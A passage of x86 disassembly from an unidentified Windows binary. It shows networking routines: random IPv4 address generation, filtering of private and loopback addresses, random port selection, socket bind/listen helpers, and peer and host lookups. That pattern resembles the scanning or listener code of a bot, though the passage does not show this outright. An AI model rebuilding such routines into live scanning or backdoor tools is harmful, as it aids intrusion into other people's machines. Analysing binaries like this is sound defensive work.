		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E8	proc near		; CODE XREF: cAddress:00405D37p
					; sub_40A9CF+1A2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jz	short loc_404146
		cmp	[ebp+var_4], 3
		jz	short loc_404124
		cmp	[ebp+var_4], 4
		jz	short loc_404106
		jmp	short loc_40416A
; ---------------------------------------------------------------------------


loc_404106:				; CODE XREF: sub_4040E8+1Aj
		mov	eax, [ebp+arg_0]
		and	al, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404124:				; CODE XREF: sub_4040E8+14j
		mov	eax, [ebp+arg_0]
		and	ah, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404146:				; CODE XREF: sub_4040E8+Ej
		mov	eax, [ebp+arg_0]
		and	eax, 0FF00FFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 10h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_40416A:				; CODE XREF: sub_4040E8+1Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4040E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404193	proc near		; CODE XREF: sub_404279+Ap
					; sub_40435B+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Ah
		push	[ebp+arg_0]
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		pop	ebp
		retn
sub_404193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B7	proc near		; CODE XREF: sub_40D871+5B3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	offset a127_	; "127."
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041D5
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041D5:				; CODE XREF: sub_4041B7+17j
		push	4
		push	offset a172_	; "172."
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041F0
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041F0:				; CODE XREF: sub_4041B7+32j
		push	8
		push	offset a192_168_ ; "192.168."
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40420B
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_40420B:				; CODE XREF: sub_4041B7+4Dj
		push	3
		push	offset dword_418A30
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404226
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_404226:				; CODE XREF: sub_4041B7+68j
		xor	eax, eax


loc_404228:				; CODE XREF: sub_4041B7+1Cj
					; sub_4041B7+37j ...
		pop	ebp
		retn
sub_4041B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40422A	proc near		; CODE XREF: cAddress:00402C38p
					; sub_403FE5+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40423C
; ---------------------------------------------------------------------------


loc_404235:				; CODE XREF: sub_40422A:loc_404273j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40423C:				; CODE XREF: sub_40422A+9j
		cmp	[ebp+var_4], 6
		jnz	short loc_404244
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_404244:				; CODE XREF: sub_40422A+16j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_404273
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40426C
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40426E


loc_40426C:				; CODE XREF: sub_40422A+37j
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_40426E:				; CODE XREF: sub_40422A+40j
		push	1
		pop	eax
		jmp	short locret_404277
; ---------------------------------------------------------------------------


loc_404273:				; CODE XREF: sub_40422A+25j
		jmp	short loc_404235
; ---------------------------------------------------------------------------


loc_404275:				; CODE XREF: sub_40422A+18j
					; sub_40422A:loc_40426Cj
		xor	eax, eax

locret_404277:				; CODE XREF: sub_40422A+47j
		leave
		retn
sub_40422A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404279	proc near		; CODE XREF: sub_4042FB+Cp
					; cAddress:00408CC7p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4042A4
		push	1
		pop	eax
		jmp	short locret_4042F9
; ---------------------------------------------------------------------------


loc_4042A4:				; CODE XREF: sub_404279+24j
		push	0BB8h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF18
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4042DA
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4042DA
		and	[ebp+var_18], 0
		jmp	short loc_4042E1
; ---------------------------------------------------------------------------


loc_4042DA:				; CODE XREF: sub_404279+53j
					; sub_404279+59j
		mov	[ebp+var_18], 1


loc_4042E1:				; CODE XREF: sub_404279+5Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4042F6
		push	[ebp+var_C]
		call	sub_4053B1
		pop	ecx


loc_4042F6:				; CODE XREF: sub_404279+72j
		mov	eax, [ebp+var_14]

locret_4042F9:				; CODE XREF: sub_404279+29j
		leave
		retn
sub_404279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042FB	proc near		; CODE XREF: sub_411D68+4p
					; cAddress:00413696p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41E264, 0
		jnz	short loc_404327
		call	sub_404279
		push	eax
		push	offset dword_41E268
		call	sub_409C9D
		pop	ecx
		pop	ecx
		push	1
		push	offset dword_41E264
		call	sub_409C9D
		pop	ecx
		pop	ecx


loc_404327:				; CODE XREF: sub_4042FB+Aj
		mov	eax, dword_41E268
		pop	ebp
		retn
sub_4042FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40432E	proc near		; CODE XREF: sub_40435B+6p
					; sub_4046BC+5Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	1
		push	17h
		call	dword_417218	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404350
		push	[ebp+var_4]
		call	sub_4053B1
		pop	ecx


loc_404350:				; CODE XREF: sub_40432E+17j
		xor	eax, eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_40432E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; CODE XREF: cAddress:loc_4085D6p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40432E
		test	eax, eax
		jnz	short loc_40436E
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_40436E:				; CODE XREF: sub_40435B+Dj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_404392
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_404392:				; CODE XREF: sub_40435B+31j
		push	0BB8h
		push	2
		lea	eax, [ebp+var_14]
		push	eax
		push	offset a1	; "::1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_8], 0
		jz	short loc_4043CB
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4043CB
		mov	[ebp+var_18], 1
		jmp	short loc_4043CF
; ---------------------------------------------------------------------------


loc_4043CB:				; CODE XREF: sub_40435B+5Fj
					; sub_40435B+65j
		and	[ebp+var_18], 0


loc_4043CF:				; CODE XREF: sub_40435B+6Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4043E4
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_4043E4:				; CODE XREF: sub_40435B+7Ej
		mov	eax, [ebp+var_4]

locret_4043E7:				; CODE XREF: sub_40435B+11j
					; sub_40435B+35j
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043E9	proc near		; CODE XREF: cAddress:loc_408C9Fp
					; sub_40CA29+231p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset dword_418A1C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	7D0h
		push	2
		push	offset a80	; "80"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404439
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_404439
		mov	[ebp+var_20], 1
		jmp	short loc_40443D
; ---------------------------------------------------------------------------


loc_404439:				; CODE XREF: sub_4043E9+3Fj
					; sub_4043E9+45j
		and	[ebp+var_20], 0


loc_40443D:				; CODE XREF: sub_4043E9+4Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404452
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_404452:				; CODE XREF: sub_4043E9+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4043E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404457	proc near		; CODE XREF: sub_404FE7+AFp
					; sub_4050EA+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 0
		setz	al
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		leave
		retn
sub_404457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40447B	proc near		; CODE XREF: cAddress:0040755Bp
					; cAddress:004075C3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		leave
		retn
sub_40447B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40449C	proc near		; CODE XREF: sub_40D871+5A1p
					; cAddress:00411E2Ap

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044CC
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044CC:				; CODE XREF: sub_40449C+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jz	short loc_4044F2
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044F2:				; CODE XREF: sub_40449C+50j
		push	1
		pop	eax

locret_4044F5:				; CODE XREF: sub_40449C+2Ej
					; sub_40449C+54j
		leave
		retn
sub_40449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: cAddress:0040740Ap
					; sub_4129CA+29p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404527
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_404527:				; CODE XREF: sub_4044F7+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jz	short loc_40454D
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_40454D:				; CODE XREF: sub_4044F7+50j
		push	1
		pop	eax

locret_404550:				; CODE XREF: sub_4044F7+2Ej
					; sub_4044F7+54j
		leave
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404552	proc near		; CODE XREF: cAddress:004133C4p
					; cAddress:004161BFp

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404582
		xor	eax, eax
		jmp	short locret_4045B0
; ---------------------------------------------------------------------------


loc_404582:				; CODE XREF: sub_404552+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_4045B0:				; CODE XREF: sub_404552+2Ej
		leave
		retn
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B2	proc near		; CODE XREF: cAddress:00414541p
					; cAddress:00416173p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4045E2
		xor	eax, eax
		jmp	short locret_404610
; ---------------------------------------------------------------------------


loc_4045E2:				; CODE XREF: sub_4045B2+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_404610:				; CODE XREF: sub_4045B2+2Ej
		leave
		retn
sub_4045B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404612	proc near		; CODE XREF: sub_40D871+69Cp

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		lea	eax, [ebp+var_408]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jnz	loc_4046B8
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax


loc_404643:				; CODE XREF: sub_404612+98j
		cmp	[ebp+var_40C], 0
		jz	short loc_4046AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+18h]
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jnz	short loc_40469B
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40469B
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	al, 1
		jmp	short locret_4046BA
; ---------------------------------------------------------------------------


loc_40469B:				; CODE XREF: sub_404612+66j
					; sub_404612+72j
		mov	eax, [ebp+var_40C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_40C], eax
		jmp	short loc_404643
; ---------------------------------------------------------------------------


loc_4046AC:				; CODE XREF: sub_404612+38j
		push	[ebp+var_408]
		call	dword_41DE5C	; freeaddrinfo


loc_4046B8:				; CODE XREF: sub_404612+1Fj
		xor	al, al

locret_4046BA:				; CODE XREF: sub_404612+87j
		leave
		retn
sub_404612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: cAddress:004021E6p
					; cAddress:00403E29p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		xor	eax, eax
		test	eax, eax
		jz	short loc_4046D1
		mov	[ebp+var_3C], 2
		jmp	short loc_4046D8
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_4046BC+Aj
		mov	[ebp+var_3C], 1


loc_4046D8:				; CODE XREF: sub_4046BC+13j
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		push	1008h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4046F9
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_4046F9:				; CODE XREF: sub_4046BC+34j
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax+804h], 0
		push	20h
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		call	sub_40432E
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 5
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jz	short loc_40475D
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_40475D:				; CODE XREF: sub_4046BC+8Fj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_4], eax
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404765:				; CODE XREF: sub_4046BC+DDj
					; sub_4046BC+F1j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40476E:				; CODE XREF: sub_4046BC+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40484E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_40479B
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_40479B:				; CODE XREF: sub_4046BC+DBj
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4047AF
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 17h
		jz	short loc_4047AF
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_4047AF:				; CODE XREF: sub_4046BC+E6j
					; sub_4046BC+EFj
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4047D6
		mov	[ebp+var_38], 1
		push	4
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_34]
		call	dword_417204	; setsockopt


loc_4047D6:				; CODE XREF: sub_4046BC+FBj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_34]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4047FE
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_4047FE:				; CODE XREF: sub_4046BC+132j
		cmp	[ebp+var_8], 1
		jnz	short loc_404822
		push	32h
		push	[ebp+var_34]
		call	dword_417268	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404822
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_404822:				; CODE XREF: sub_4046BC+146j
					; sub_4046BC+156j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		mov	[ecx+eax*4+4], edx
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 200h
		jnz	short loc_404849
		jmp	short loc_40484E
; ---------------------------------------------------------------------------


loc_404849:				; CODE XREF: sub_4046BC+189j
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_40484E:				; CODE XREF: sub_4046BC+B6j
					; sub_4046BC+18Bj
		push	[ebp+var_30]
		call	dword_41DE5C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40486C
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	short locret_40486F
; ---------------------------------------------------------------------------


loc_40486C:				; CODE XREF: sub_4046BC+1A1j
		mov	eax, [ebp+var_2C]

locret_40486F:				; CODE XREF: sub_4046BC+38j
					; sub_4046BC+9Cj ...
		leave
		retn
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404871	proc near		; CODE XREF: sub_411BBC+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40488F
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_40488F:				; CODE XREF: sub_404871+18j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx]
		cmp	eax, 200h
		jbe	short loc_4048AD
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_4048AD:				; CODE XREF: sub_404871+2Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*4+4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		pop	eax

locret_4048ED:				; CODE XREF: sub_404871+1Cj
					; sub_404871+3Aj
		leave
		retn
sub_404871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048EF	proc near		; CODE XREF: cAddress:004022F0p
					; cAddress:00403E80p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8C], 0
		jmp	short loc_404916
; ---------------------------------------------------------------------------


loc_404909:				; CODE XREF: sub_4048EF+133j
					; sub_4048EF:loc_404A32j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404916:				; CODE XREF: sub_4048EF+18j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404A37
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404A32


loc_40494A:				; CODE XREF: sub_4048EF+100j
		and	[ebp+var_9C], 0
		jmp	short loc_404960
; ---------------------------------------------------------------------------


loc_404953:				; CODE XREF: sub_4048EF:loc_4049E6j
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax


loc_404960:				; CODE XREF: sub_4048EF+62j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_9C]
		cmp	ecx, [eax+804h]
		jnb	short loc_4049EB
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_4049E6


loc_404990:				; CODE XREF: sub_4048EF+E0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_9C], eax
		jnb	short loc_4049D1
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_9C]
		mov	esi, [ebp+arg_0]
